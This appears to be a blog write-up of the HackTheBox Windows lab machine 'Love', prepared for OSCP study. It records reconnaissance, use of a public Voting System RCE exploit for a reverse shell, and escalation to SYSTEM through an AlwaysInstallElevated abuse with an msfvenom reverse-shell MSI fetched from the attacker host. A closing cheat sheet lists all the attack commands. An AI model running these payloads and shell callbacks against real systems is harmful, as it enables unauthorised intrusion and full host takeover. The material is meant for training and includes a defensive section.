# OSCP Prep #25
HTB Write-Up Love

# 1\. Target Overview

**Machine Name:** Love  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.48.103

**Objective:**  
Love was a straightforward Windows machine built around a vulnerable web application and a clean privilege escalation path. The initial attack involved identifying a Voting System web application running vulnerable software, but the most valuable part of the box for me was the Windows privilege escalation. This machine introduced me to abusing the `AlwaysInstallElevated` registry misconfiguration by creating and executing a malicious MSI package.

### Tools Used

*   RustScan
    
*   Nmap
    
*   NetExec
    
*   smbclient
    
*   ffuf
    
*   SearchSploit
    
*   GitHub
    
*   Python HTTP server
    
*   Netcat
    
*   rlwrap
    
*   PowerShell
    
*   PowerUp.ps1
    
*   msfvenom
    
*   msiexec
    
*   curl
    
*   Windows command-line utilities
    

* * *

# 2\. Enumeration

I began the engagement with a RustScan scan against the target.

```bash
rustscan -a 10.129.48.103 -b 5000
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/74da2bbd-cc60-4ea7-aa6e-020691389649.png align="center")

The scan showed a fairly typical Windows attack surface. Several Windows services were exposed, including SMB and WinRM, along with multiple web services.

Notable open ports included:

*   `80` - HTTP
    
*   `135` - MSRPC
    
*   `139` - NetBIOS
    
*   `443` - HTTPS
    
*   `445` - SMB
    
*   `3306` - MySQL
    
*   `5000` - HTTP service
    
*   `5985` - WinRM
    
*   Multiple high RPC ports
    

The service information also leaked the domain name `love.htb`, so I added it to my `/etc/hosts` file.

Since SMB was exposed, I checked anonymous access first. SMB is always worth testing early on Windows targets because anonymous shares sometimes expose credentials, configuration files, backups, or other useful information.

```bash
nxc smb 10.129.48.103 -u '' -p '' --shares
```

The target allowed a null authentication check to complete, but share enumeration was denied.

I also tested the Guest account.

```bash
nxc smb 10.129.48.103 -u 'guest' -p '' --shares
```

The target showed that the Guest account was disabled.

I confirmed this behavior with `smbclient` as well.

```bash
smbclient -N -L //10.129.48.103/
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29bb1b4d-50cb-4729-b735-6f673820c311.png align="center")

This also failed with access denied, so SMB did not provide an easy path forward.

With SMB ruled out, I moved to web enumeration. I started with the web server on port `80`. Since earlier enumeration showed that the application was using PHP, I ran directory brute forcing with PHP extensions while manually browsing the site.

```bash
ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/117f0484-b3e8-4af4-812a-e13c7712d5c8.png align="center")

Visiting the site by both IP address and `love.htb` returned a login page for a Voting System application.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/aae6f843-751d-4499-bfae-9571783dec43.png align="center")

I attempted common default credentials, but the login failed. I also tried basic SQL injection payloads in the visible input fields, but the application did not immediately respond in a useful way.

The `ffuf` scan returned an interesting discovery:

```text
/admin/
```

When I browsed to `/admin/`, I found another login page.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/52b33b12-dc96-4068-9714-595355bb80fc.png align="center")

I repeated the same basic credential and SQL injection checks there, but they were unsuccessful as well.

At first, the application looked like custom HackTheBox software because the site was plain and minimal. To be thorough, I searched for known exploits related to Voting System.

```bash
searchsploit voting system
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/947658b9-84f9-42ee-ac55-1ae3873a5402.png align="center")

This returned several public exploits for Voting System 1.0, including authentication bypass, SQL injection, and remote code execution vulnerabilities.

Further research led me to a public GitHub repository for an unauthenticated RCE exploit against Voting System 1.0.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c94e2f13-6f88-411d-8b03-1b3cf5997924.png align="center")

The exploit chained SQL injection authentication bypass behavior with an authenticated file upload/RCE path. This became the clear exploitation path.

* * *

# 3\. Exploitation

After identifying the Voting System 1.0 unauthenticated RCE exploit, I cloned or downloaded the exploit script and prepared a listener.

```bash
rlwrap nc -nvlp 9001
```

Then I ran the exploit against the target.

```bash
python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
```

The exploit successfully logged into the application, uploaded the payload, and triggered execution.

I received a reverse shell back from the target.

```text
connect to [10.10.15.205] from (UNKNOWN) [10.129.48.103]
Microsoft Windows [Version 10.0.19042.867]
```

I confirmed my current user.

```cmd
whoami
```

```text
love\phoebe
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ebf86260-6915-4b51-bbfa-86e2f947d61a.png align="center")

The shell landed in the web application directory:

```text
C:\xampp\htdocs\omrs\images>
```

At this point, I had initial access as the low-privileged user `phoebe`.

* * *

# 4\. Privilege Escalation

I began local privilege escalation enumeration by identifying the current user and checking the user’s privileges.

```cmd
whoami /all
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/15a6fe64-d988-4608-8986-d0f4d2d1f703.png align="center")

The user was `love\phoebe`. The token did not show any obvious high-impact privileges that could be abused directly. The user was a member of common groups such as `Users`, `Authenticated Users`, and `Remote Management Users`, but nothing immediately gave me administrative control.

Next, I listed local users.

```cmd
net user
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3139673-85f2-48e2-bf83-c25a963917b3.png align="center")

There were no extra obvious local users to pivot into.

I then checked for AutoLogon credentials in the Windows registry.

```powershell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3edc51e5-37a5-4d10-811d-fcc60e764c1b.png align="center")

This did not reveal stored credentials.

After that, I checked the user directories for interesting files.

```cmd
tree /f /a C:\Users
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3d0454c7-1084-4742-8600-1080b83ec54c.png align="center")

I found `user.txt` under Phoebe’s Desktop, but nothing else useful for privilege escalation.

I also reviewed the web directories because the initial foothold came from XAMPP. Web directories are worth checking because administrators sometimes leave database credentials, configuration files, backups, or plaintext passwords inside application folders. In this case, I did not find useful credentials in the XAMPP web root.

Next, I checked listening network services.

```cmd
netstat -ano | findstr TCP | findstr "0:"
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2cccd74f-2ddb-49d1-8d89-8ce56d0775a7.png align="center")

Several services were listening, but nothing immediately stood out as a clear local privilege escalation vector.

At this point, I decided to run PowerUp to look for common Windows privilege escalation misconfigurations I may have missed manually. I hosted the script from my Kali machine.

```bash
python3 -m http.server 80
```

Then I downloaded it to the target.

```powershell
curl 10.10.15.205/pup.ps1 -o pup.ps1
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/197e54ae-e8c7-4d2d-bfca-e93be127789d.png align="center")

When I tried to load the script, PowerShell script execution was restricted. This was a useful learning point because I learned how to bypass the restriction for the current PowerShell process without changing the system permanently.

```powershell
Set-ExecutionPolicy -Scope Process RemoteSigned
```

The important part is `-Scope Process`. This applies the execution policy change only to the current PowerShell session. It does not permanently weaken the host’s policy. After that, I loaded PowerUp and ran its checks.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/07a468d8-1ca2-4ed9-9a1c-c14518844579.png align="center")

PowerUp identified the key privilege escalation path:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/08956d47-00e0-4ca0-bf27-0174e64274b6.png align="center")

This meant the target was vulnerable to `AlwaysInstallElevated` abuse.

`AlwaysInstallElevated` is a Windows Installer policy controlled by registry keys. When it is enabled in both the machine and user policy locations, Windows allows MSI installer packages to run with elevated privileges. That is dangerous because MSI files are not just normal archives or setup files. An MSI package can contain installation logic, file writes, registry changes, and custom actions.

In a secure configuration, a low-privileged user should not be able to install arbitrary software with administrative rights. But when `AlwaysInstallElevated` is enabled incorrectly, a low-privileged user can create or upload a malicious MSI package and execute it through `msiexec`. Windows then runs the installer with elevated privileges, allowing the payload inside the MSI to execute as `NT AUTHORITY\SYSTEM`.

In plain terms, the system was configured to trust MSI installers too much. Since I could write a malicious MSI and run it, I could turn that installer behavior into privilege escalation.

I created a malicious MSI reverse shell payload with `msfvenom`.

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f240e421-ad63-4ea1-ae8a-b88c5de01d66.png align="center")

Then I hosted it from my Kali machine and downloaded it to the target.

I started a listener for the MSI payload.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d6570057-ebe6-4934-b0ab-ca35497f4f66.png align="center")

Finally, I executed the MSI package with `msiexec`.

```cmd
msiexec /quiet /qn /i rev.msi
```

The options made the install run silently:

*   `/i` tells Windows Installer to install the MSI package.
    
*   `/quiet` suppresses user interaction.
    
*   `/qn` runs with no GUI.
    

The payload executed successfully, and I received a reverse shell as `NT AUTHORITY\SYSTEM`.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e8e2107b-4ef6-48d8-8b4c-a4d663b12469.png align="center")

This completed the privilege escalation path.

* * *

# 5\. Lessons Learned

**1\. SMB should still be checked early even when it does not immediately pay off**  
SMB did not expose shares or useful files on this box, but checking it early was still the right move. Anonymous SMB access can lead to straightforward wins on Windows machines, so it made sense to rule it out before spending more time on the web application.

**2\. Plain-looking web applications may still be public software**  
The Voting System application looked simple enough that it could have been custom HTB software. Searching for known exploits proved that it was a real vulnerable application with public exploit code available. This reinforced the importance of checking application names with tools like `searchsploit` instead of assuming every simple interface is custom-built.

**3\. Web exploitation often comes from chaining smaller weaknesses**  
The exploit path was not just “visit one URL and get a shell.” The public exploit chained application weaknesses together, using SQL injection/authentication bypass behavior to reach functionality that allowed code execution. That is a useful reminder that web exploitation often depends on how multiple flaws interact.

**4\. Execution policy is not the same thing as real security control**  
The PowerShell execution policy initially blocked external script execution, but `Set-ExecutionPolicy -Scope Process RemoteSigned` allowed me to bypass it for the current session. This taught me that execution policy is more of a safety feature than a true security boundary.

**5\. AlwaysInstallElevated is a high-impact Windows misconfiguration**  
The biggest takeaway from Love was learning how dangerous `AlwaysInstallElevated` can be. If both required registry keys are enabled, a low-privileged user can execute a malicious MSI package with elevated privileges and become `SYSTEM`.

**6\. MSI files are more powerful than normal installers**  
Before this box, I understood MSI files mostly as Windows installation packages. Love made it clear that MSI files can contain custom actions that execute code. When Windows runs that MSI with elevated privileges, the custom action becomes a privilege escalation mechanism.

* * *

# 6\. Defensive Insight

**1\. Patch public-facing web applications**  
The initial compromise came from vulnerable Voting System software exposed through the web server. Defenders should maintain an accurate software inventory, patch known vulnerable applications, and remove unsupported software from production environments.

**2\. Do not expose unnecessary services**  
The target exposed several services, including SMB, WinRM, MySQL, and multiple web ports. Even when some services are properly locked down, each exposed service increases the attack surface and gives attackers more enumeration opportunities.

**3\. Disable AlwaysInstallElevated unless there is a strict business need**  
`AlwaysInstallElevated` should not be enabled in normal environments. If both the HKCU and HKLM policy values are set, low-privileged users may be able to execute MSI packages with elevated privileges.

**4\. Monitor suspicious MSI creation and execution**  
Defenders should watch for MSI files created or executed from user-writable locations such as `C:\Users`, `C:\ProgramData`, temporary directories, or web application directories. Silent MSI execution using `msiexec /quiet` or `/qn` should also be treated as suspicious when performed by low-privileged users.

**5\. Treat PowerShell execution policy as weak protection**  
Execution policy should not be relied on as a security boundary. Attackers can often bypass it per process. Stronger controls such as AppLocker, Windows Defender Application Control, constrained language mode, and proper EDR monitoring are more meaningful defenses.

* * *

# Useful Commands

**RustScan initial scan**

```bash
rustscan -a 10.129.48.103 -b 5000
```

**Anonymous SMB share enumeration with NetExec**

```bash
nxc smb 10.129.48.103 -u '' -p '' --shares
```

**Guest SMB enumeration attempt**

```bash
nxc smb 10.129.48.103 -u 'guest' -p '' --shares
```

**Anonymous SMB enumeration with smbclient**

```bash
smbclient -N -L //10.129.48.103/
```

**Web directory brute force with PHP extension**

```bash
ffuf -u http://10.129.48.103/FUZZ -w /usr/share/wordlists/elite.txt -e .php -fc 403
```

**Search for public Voting System exploits**

```bash
searchsploit voting system
```

**Run the Voting System unauthenticated RCE exploit**

```bash
python3 ex.py -t 10.129.48.103 -i 10.10.15.205 -r 9001
```

**Catch the initial reverse shell**

```bash
rlwrap nc -nvlp 9001
```

**Check current Windows user**

```cmd
whoami
```

**Check user privileges and group membership**

```cmd
whoami /all
```

**List local users**

```cmd
net user
```

**Check for AutoLogon registry credentials**

```powershell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

**Recursively list user directories**

```cmd
tree /f /a C:\Users
```

**Check listening TCP services**

```cmd
netstat -ano | findstr TCP | findstr "0:"
```

**Host files from Kali**

```bash
python3 -m http.server 80
```

**Download PowerUp to the target**

```powershell
curl 10.10.15.205/pup.ps1 -o pup.ps1
```

**Bypass PowerShell execution policy for the current process**

```powershell
Set-ExecutionPolicy -Scope Process RemoteSigned
```

**Load and run PowerUp checks**

```powershell
.\pup.ps1
Invoke-AllChecks
```

**Create malicious MSI payload**

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f msi -o rev.msi -a x64
```

**Download malicious MSI to the target**

```powershell
curl 10.10.15.205/rev.msi -o rev.msi
```

**Catch SYSTEM reverse shell**

```bash
rlwrap nc -nvlp 7777
```

**Execute MSI payload silently**

```cmd
msiexec /quiet /qn /i rev.msi
```

* * *